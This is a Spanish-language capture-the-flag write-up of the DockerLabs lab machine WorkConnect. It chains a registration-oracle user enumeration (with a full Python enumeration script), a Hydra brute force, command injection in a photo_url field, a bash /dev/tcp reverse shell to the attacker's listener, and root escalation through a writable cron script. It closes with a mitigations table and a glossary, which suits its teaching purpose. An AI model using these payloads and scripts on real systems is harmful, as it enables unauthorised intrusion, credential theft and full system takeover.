DockerLabs Medio Linux

WorkConnect

DockerLabs · User Enum Oracle → Hydra → Command Injection → Writable Script PrivEsc

// ruta Nmap FastAPI /docs DNI Oracle Hydra Cmd Injection Rev Shell backup.py SUID ROOT ✓
01

// Planificación & objetivo

paso 01
Objetivo del ejercicio
WorkConnect es una máquina de dificultad Medio en DockerLabs. Simula una plataforma profesional tipo LinkedIn construida con FastAPI (Python) y expuesta en el puerto 8000. No hay SSH ni servicios adicionales — toda la cadena de ataque pasa por la API web.

Esta máquina introduce conceptos avanzados: enumeración de usuarios mediante un oracle de registro, Command Injection en un campo de perfil, y escalada de privilegios explotando un script Python ejecutado por root con permisos de escritura para el grupo del atacante.
paso 02
Resumen de fases
FaseTécnica / HerramientaResultado
ReconocimientoNmap -p- full scanPuerto 8000 FastAPI/Uvicorn
Enum. APIcurl /openapi.json + /docsEndpoints: /register, /login, /dashboard/update-profile
Info. Disclosurecurl /register placeholderPrefijo DNI filtrado: 71902
User EnumerationScript Python oracle5 DNIs válidos encontrados
Fuerza brutaHydra http-post-form71902678E : chocolate
Command Injectioncurl photo_url=; idRCE como recruiter
Reverse Shellbash -i /dev/tcpShell como recruiter
PrivEsc/opt/backup.py writable → SUID bashROOT ✓
02

// Reconocimiento & despliegue

paso 03
Despliegue de la máquina
Desplegamos con auto_deploy.sh. IP asignada: 172.27.0.2. A diferencia de máquinas anteriores, WorkConnect no expone SSH — toda la interacción es via web en el puerto 8000.
captura — despliegue● ● ●
Despliegue WorkConnect
03

// Escaneo & análisis

paso 04
Escaneo completo de puertos — Nmap
Lanzamos un escaneo completo de los 65535 puertos con detección de versiones y scripts NSE. Resultado: un único puerto abierto, 8000/tcp, con servidor Uvicorn — el servidor ASGI habitual de aplicaciones FastAPI en Python. El título HTTP confirma: WorkConnect.
Nmap
# nmap -p- -sS -sC -sV --min-rate 5000 -n -vvv -Pn 172.27.0.2 PORT STATE SERVICE REASON VERSION 8000/tcp open http syn-ack ttl 64 Uvicorn |_http-title: WorkConnect |_http-server-header: uvicorn # Solo 1 puerto abierto. Sin SSH. Vector único: la API web.
captura — nmap output completo● ● ●
Nmap mostrando puerto 8000 Uvicorn WorkConnect
// hallazgo
Un único puerto: 8000 FastAPI/Uvicorn. Toda la cadena de ataque pasa por la API web.
paso 05
Enumeración de la API — FastAPI /docs y /openapi.json
FastAPI genera automáticamente documentación interactiva en /docs y el esquema completo en /openapi.json. Accedemos a ambos para mapear todos los endpoints disponibles. Descubrimos: /register, /login, /dashboard y /dashboard/update-profile.

El endpoint /dashboard/update-profile incluye un campo photo_url — el servidor descarga la imagen desde una URL externa. Esto es un vector potencial: si el servidor ejecuta curl <photo_url> directamente en el shell sin sanitizar el input, tenemos Command Injection.
captura — web WorkConnect landing● ● ●
Landing page de WorkConnect
captura — FastAPI /docs con endpoints● ● ●
FastAPI docs mostrando todos los endpoints
// vector identificado
Campo photo_url en update-profile — probable Command Injection si el servidor no sanitiza la URL antes de ejecutar curl.
paso 06
Information Disclosure — Prefijo DNI en placeholder
El formulario de registro requiere un DNI como identificador. Inspeccionamos el HTML del formulario con curl. El atributo placeholder del campo DNI revela el prefijo: 71902 — el servidor filtró involuntariamente el formato exacto de los DNIs de sus usuarios.
curl
# curl http://172.27.0.2:8000/register | grep -i "dni\|placeholder" placeholder="71902...." # El servidor filtra el prefijo real de los DNIs registrados
captura — curl /register mostrando placeholder con prefijo● ● ●
curl /register filtrando prefijo DNI 71902
captura — formulario de registro● ● ●
Formulario de registro WorkConnect
paso 07
Oracle de registro — Enumeración de DNIs válidos
El endpoint /register devuelve respuestas diferentes según si el DNI ya existe en la base de datos:

— DNI no registradoalert-success: "Registro completado con éxito"
— DNI ya registradoalert-error: "El DNI introducido ya se encuentra registrado"

Esta diferencia de respuesta es un oracle de enumeración — nos permite distinguir usuarios existentes sin autenticación. Desarrollamos un script Python que prueba sistemáticamente todas las combinaciones posibles con el prefijo 71902, detectando cuáles ya están registrados.
captura — DNI ya registrado (alert-error)● ● ●
Respuesta alert-error DNI ya registrado
captura — DNI nuevo (alert-success)● ● ●
Respuesta alert-success DNI no registrado
Script Python Oracle
# python3 workconnect_dni_enum.py 172.27.0.2 [+] DNI válido encontrado --> 71902000A [+] DNI válido encontrado --> 71902223C [+] DNI válido encontrado --> 71902345A [+] DNI válido encontrado --> 71902565I [+] DNI válido encontrado --> 71902678E Total probados: 26000/26000 | Encontrados: 5
captura — script enumerando DNIs válidos● ● ●
Script Python encontrando 5 DNIs válidos
// usuarios encontrados
5 DNIs válidos: 71902000A · 71902223C · 71902345A · 71902565I · 71902678E
04

// Explotación & acceso inicial

paso 08
Verificación del comportamiento de login
Antes de lanzar Hydra necesitamos identificar la cadena de fallo del login — la respuesta que devuelve el servidor cuando las credenciales son incorrectas. Probamos con una contraseña errónea y confirmamos: login fallido devuelve HTTP 200 + div class="alert alert-error". Login exitoso devuelve HTTP 302 (redirección al dashboard).
curl test login
# curl -X POST http://172.27.0.2:8000/login -d "dni=71902678E&password=wrongpass" -v 2>&1 | grep -E "200|302|alert" < HTTP/1.1 200 OK <div class="alert alert-error"> # Login fallido = HTTP 200 + alert-error → cadena de fallo para Hydra
captura — curl verificando respuesta login fallido● ● ●
curl mostrando respuesta login fallido alert-error
paso 09
Fuerza bruta HTTP — Hydra
Lanzamos Hydra con el modo http-post-form, usando la lista de DNIs encontrados y rockyou.txt. La cadena de fallo es alert-error — Hydra para cuando NO ve esa cadena en la respuesta. Con 20 hilos paralelos encuentra las credenciales en menos de un minuto.
Hydra
# hydra -L dnisEncontrados.txt -P /usr/share/wordlists/rockyou.txt http-post-form://172.27.0.2:8000/login:"dni=^USER^&password=^PASS^":"alert-error" -t 20 [8000][http-post-form] host: 172.27.0.2 login: 71902678E password: chocolate 1 of 1 target successfully completed, 1 valid password found
captura — hydra encontrando credenciales● ● ●
Hydra encontrando credenciales 71902678E:chocolate
DNI / Usuario71902678E
Contraseñachocolate
ServicioHTTP / 8000
paso 10
Acceso al dashboard y Command Injection
Accedemos al dashboard con las credenciales obtenidas. En la sección Mi Perfil encontramos el campo Foto de Perfil (URL externa) — el servidor descarga la imagen desde la URL proporcionada. Probamos inyectar un comando separado con ; para romper el comando curl interno del servidor y ejecutar código arbitrario.

El payload ; id interrumpe el curl original e inyecta el comando id. La respuesta HTML incluye la salida: uid=1000(recruiter) — confirmamos ejecución remota de código como el usuario recruiter, que además pertenece al grupo humanresources.
captura — dashboard panel de perfil● ● ●
Dashboard WorkConnect con campo photo_url
Command Injection
# curl -X POST http://172.27.0.2:8000/dashboard/update-profile --data-urlencode "photo_url=; id" | grep -A 3 "pre>" uid=1000(recruiter) gid=1001(recruiter) groups=1001(recruiter),1000(humanresources) # RCE confirmado — el servidor ejecuta curl <photo_url> directamente en el shell
captura — command injection mostrando uid recruiter● ● ●
Command injection ejecutando id como recruiter
// RCE confirmado
Command Injection en photo_url. Ejecución como recruiter (grupo humanresources). Lanzamos reverse shell.
paso 11
Reverse Shell
Con RCE confirmado, levantamos un listener con netcat en el puerto 4444 y enviamos una reverse shell bash via el mismo vector de Command Injection. El payload bash -i >& /dev/tcp/172.27.0.3/4444 0>&1 abre una conexión de vuelta a nuestro Kali.
Listener + Reverse Shell
# Terminal 1 — listener # nc -nlvp 4444 # Terminal 2 — payload # curl -X POST http://172.27.0.2:8000/dashboard/update-profile --data-urlencode "photo_url=; bash -c 'bash -i >& /dev/tcp/172.27.0.3/4444 0>&1'" connect to [172.27.0.3] from (UNKNOWN) [172.27.0.2] recruiter@211c7d6f2da1:/opt/workconnect$
captura — reverse shell obtenida como recruiter● ● ●
Reverse shell obtenida como recruiter
// acceso inicial conseguido
Shell como recruiter (grupo humanresources). Iniciamos escalada de privilegios.
05

// Post-Explotación & privesc

paso 12
Enumeración — archivos del grupo humanresources
Buscamos todos los archivos accesibles por el grupo humanresources. El resultado apunta a /opt/backup.py. Verificamos los permisos: el archivo es propiedad de root pero tiene permisos rw-rw-r-- — el grupo humanresources puede escribir en él.

El contenido del script y el contexto de la máquina indican que root lo ejecuta automáticamente cada 60 segundos via cron. Si modificamos el script, root ejecutará nuestro código.
Enumeración grupo
recruiter@host:~$ find / -group humanresources 2>/dev/null /opt/backup.py recruiter@host:~$ ls -l /opt/backup.py -rw-rw-r-- 1 root humanresources 883 May 4 08:46 /opt/backup.py # root es propietario pero humanresources puede escribir
captura — find humanresources + ls permisos backup.py● ● ●
find grupo humanresources y permisos de backup.py
// vector identificado
/opt/backup.py writable por humanresources, ejecutado por root cada 60s → inyectamos código para activar SUID en bash.
paso 13
Escalada — Writable Script → SUID bash → root
Añadimos una línea al final de backup.py que activa el bit SUID en /bin/bash. Cuando root ejecute el script, bash tendrá SUID y podremos lanzarla con -p para preservar el uid efectivo de root — exactamente el mismo vector que vimos en la máquina Injection, pero activado de forma dinámica via script comprometido.

Esperamos hasta 60 segundos, verificamos que /bin/bash tiene el bit s activado y obtenemos shell root.
PrivEsc
# Inyectamos código malicioso en backup.py recruiter@host:~$ echo 'import os; os.system("chmod u+s /bin/bash")' >> /opt/backup.py # Esperamos hasta 60s y verificamos recruiter@host:~$ ls -l /bin/bash -rwsr-xr-x 1 root root 1265648 /bin/bash # SUID activo → lanzamos bash con -p recruiter@host:~$ /bin/bash -p bash-5.2# whoami root
captura — shell root obtenida● ● ●
Shell root obtenida via bash -p
// root obtenido ✓
Escalada completada. Shell como root via /bin/bash -p con SUID activado por script comprometido.
06

// Reporte & conclusiones

vulnerabilidades
Vectores explotados
VulnerabilidadImpactoMitigación
Information Disclosure en placeholder DNIFiltración del prefijo de usuariosNo usar datos reales en placeholders de formularios públicos
Oracle de registro (respuestas diferentes)Enumeración de usuarios válidosDevolver siempre el mismo mensaje genérico independientemente del resultado
Sin rate limiting en /loginFuerza bruta de credencialesRate limiting, CAPTCHA y bloqueo tras N intentos fallidos
Command Injection en photo_urlRCE como recruiterNunca ejecutar input de usuario en shell. Usar librerías HTTP nativas, no curl del sistema
/opt/backup.py writable por grupo + cron rootEscalada completa a rootScripts ejecutados por root no deben ser escribibles por otros usuarios o grupos
lecciones
Lecciones aprendidas
WorkConnect es la máquina más completa hasta ahora — encadena cinco vulnerabilidades distintas que individualmente serían menores pero juntas comprometen el sistema completamente. El oracle de registro es un ejemplo perfecto de information disclosure sutil: la app no expone contraseñas ni datos directos, pero la diferencia entre dos mensajes de error es suficiente para enumerar miles de usuarios. El Command Injection en photo_url demuestra que cualquier campo que el servidor procese externamente es un vector potencial. Y el script con permisos de escritura ejecutado por cron es un patrón de misconfiguration extremadamente común en entornos reales.
07

// Glosario

Oracle de enumeración
Vulnerabilidad donde el comportamiento diferente de una aplicación ante dos situaciones distintas permite a un atacante extraer información. En este caso, el endpoint /register devuelve mensajes distintos según si el DNI existe o no — un oracle binario que permite automatizar la búsqueda de usuarios válidos con un script. La solución es que la aplicación devuelva siempre el mismo mensaje genérico, independientemente de si el DNI existe o no.
Command Injection
Vulnerabilidad que ocurre cuando una aplicación pasa input del usuario a un intérprete de comandos del sistema operativo sin sanitizarlo. En WorkConnect, el servidor ejecuta curl <photo_url> directamente en el shell. Al inyectar ; id, se rompe el comando original y se ejecuta id como un comando separado. El carácter ; en bash separa comandos — comando1; comando2 ejecuta ambos secuencialmente. La solución es usar librerías HTTP nativas del lenguaje en lugar de llamadas al shell.
Reverse Shell
Técnica donde la máquina víctima inicia una conexión de vuelta hacia el atacante, estableciendo un canal de comunicación que el atacante controla. A diferencia de un bind shell (donde la víctima escucha y el atacante conecta), la reverse shell supera firewalls y NAT que bloquean conexiones entrantes. El payload bash -i >& /dev/tcp/IP/PUERTO 0>&1 redirige stdin, stdout y stderr de bash a través de una conexión TCP hacia el listener del atacante.
Writable Script + Cron PrivEsc
Vector de escalada donde un script ejecutado periódicamente por root tiene permisos de escritura para un usuario no privilegiado. Al modificar el script, el atacante consigue que root ejecute código arbitrario en el siguiente ciclo del cron. Es un patrón de misconfiguration común en servidores donde los administradores dan permisos de escritura a scripts de mantenimiento para facilitar actualizaciones, sin considerar las implicaciones de seguridad.
FastAPI y documentación automática
FastAPI genera automáticamente documentación interactiva en /docs (Swagger UI) y el esquema OpenAPI en /openapi.json. En entornos de producción esta documentación debe estar deshabilitada o protegida — expone públicamente todos los endpoints, parámetros y esquemas de la API, reduciendo significativamente el esfuerzo de reconocimiento del atacante.
Hydra http-post-form
Módulo de Hydra para ataques de fuerza bruta contra formularios HTTP POST. La sintaxis es http-post-form://HOST/PATH:"param1=^USER^¶m2=^PASS^":"cadena-fallo". La cadena de fallo es lo que aparece en la respuesta cuando las credenciales son incorrectas — Hydra marca como éxito cualquier respuesta que NO contenga esa cadena. Requiere identificar previamente el comportamiento del login fallido.
// workconnect_dni_enum.py
#!/usr/bin/env python3 """ WorkConnect - Enumeracion de DNIs via Oracle de Registro Plataforma: DockerLabs | Maquina: WorkConnect Uso: python3 workconnect_dni_enum.py <IP> [puerto] """ import sys import signal import string import threading import requests from concurrent.futures import ThreadPoolExecutor # ─── CONFIGURACION ─────────────────────────────────────────── TARGET_IP = sys.argv[1] if len(sys.argv) > 1 else "172.27.0.3" TARGET_PORT = sys.argv[2] if len(sys.argv) > 2 else "8000" TARGET = f"http://{TARGET_IP}:{TARGET_PORT}/register" PREFIX = "71902" ORACLE = "El DNI introducido ya se encuentra registrado" OUTPUT = "dnisEncontrados.txt" THREADS = 50 HEADERS = {'Content-Type': 'application/x-www-form-urlencoded'} # ───────────────────────────────────────────────────────────── results = [] lock = threading.Lock() counter = [0] total = [0] def def_handler(sig, frame): print(f" [!] Saliendo... DNIs encontrados hasta ahora: {len(results)} ") for d in results: print(f" └─ {d}") sys.exit(1) signal.signal(signal.SIGINT, def_handler) def probe(dni): payload = { "name": "test", "email": f"{dni}@test.com", "dni": dni, "password": "test" } try: r = requests.post(TARGET, headers=HEADERS, data=payload, timeout=3) with lock: counter[0] += 1 if counter[0] % 1000 == 0: pct = (counter[0] / total[0]) * 100 print(f" [*] Progreso: {counter[0]}/{total[0]} ({pct:.1f}%) | Encontrados: {len(results)}", end=" ") if ORACLE in r.text: with lock: results.append(dni) print(f" [+] DNI valido encontrado --> {dni}") with open(OUTPUT, "a") as f: f.write(dni + " ") except requests.exceptions.RequestException: pass def generar_candidatos(): candidatos = [] for n in range(1000): for letra in string.ascii_uppercase: candidatos.append(f"{PREFIX}{n:03d}{letra}") return candidatos def main(): print(f""" ╔══════════════════════════════════════════════════╗ ║ WorkConnect - Enumerador de DNIs via Oracle ║ ║ Target: {TARGET:<38}║ ╚══════════════════════════════════════════════════╝ """) print(f" [*] Generando candidatos con prefijo '{PREFIX}'...") candidatos = generar_candidatos() total[0] = len(candidatos) print(f" [*] Total de DNIs a probar: {total[0]}") print(f" [*] Hilos: {THREADS}") print(f" [*] Iniciando enumeracion... ") open(OUTPUT, "w").close() with ThreadPoolExecutor(max_workers=THREADS) as pool: pool.map(probe, candidatos) print(f" [*] Enumeracion completada.") print(f" [*] Total probados: {counter[0]}/{total[0]}") print(f" [*] DNIs validos encontrados: {len(results)}") if results: print(f" [*] Resultados guardados en: {OUTPUT}") print(f" DNIs validos:") for d in results: print(f" └─ {d}") else: print(" [-] No se encontraron DNIs validos.") if __name__ == "__main__": main()